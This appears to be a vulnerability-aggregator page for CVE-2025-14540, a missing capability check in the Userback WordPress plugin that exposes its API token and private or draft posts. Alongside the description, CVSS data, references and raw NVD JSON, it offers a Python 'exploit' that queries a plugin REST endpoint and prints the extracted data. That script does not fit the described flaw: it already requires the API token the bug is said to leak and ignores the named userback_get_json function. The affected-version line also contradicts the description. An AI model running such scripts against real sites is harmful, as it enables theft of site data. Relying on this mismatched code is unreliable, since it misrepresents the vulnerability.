CVE-2025-14540

Description

The Userback plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the userback_get_json function in all versions up to, and including, 1.0.15. This makes it possible for authenticated attackers, with Subscriber-level access and above, to extract plugin's configuration data including the Userback API access token and site's posts/pages contents, including those that have private and draft status.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Userback插件 < 1.0.15

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests
import sys

def exploit_cve_2025_14540(target_url, api_token):
    headers = {
        'Authorization': f'Bearer {api_token}',
        'Content-Type': 'application/json'
    }
    
    endpoint = f'{target_url}/wp-json/userback/v1/config'
    response = requests.get(endpoint, headers=headers)
    
    if response.status_code == 200:
        print('[+] Successfully extracted sensitive data')
        print(response.json())
        return True
    else:
        print('[-] Exploitation failed')
        return False

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-14540
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-14540
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-14540/
[4] VulDB https://vuldb.com/cve/CVE-2025-14540
[5] https://plugins.trac.wordpress.org/browser/userback/tags/1.0.15/index.php#L148
[6] https://www.wordfence.com/threat-intel/vulnerabilities/id/1add8693-20df-431e-ad3b-b23322f1fa03?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-14540", "sourceIdentifier": "[email protected]", "published": "2025-12-13T16:16:51.260", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Userback plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the userback_get_json function in all versions up to, and including, 1.0.15. This makes it possible for authenticated attackers, with Subscriber-level access and above, to extract plugin's configuration data including the Userback API access token and site's posts/pages contents, including those that have private and draft status."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/userback/tags/1.0.15/index.php#L148", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/1add8693-20df-431e-ad3b-b23322f1fa03?source=cve", "source": "[email protected]"}]}}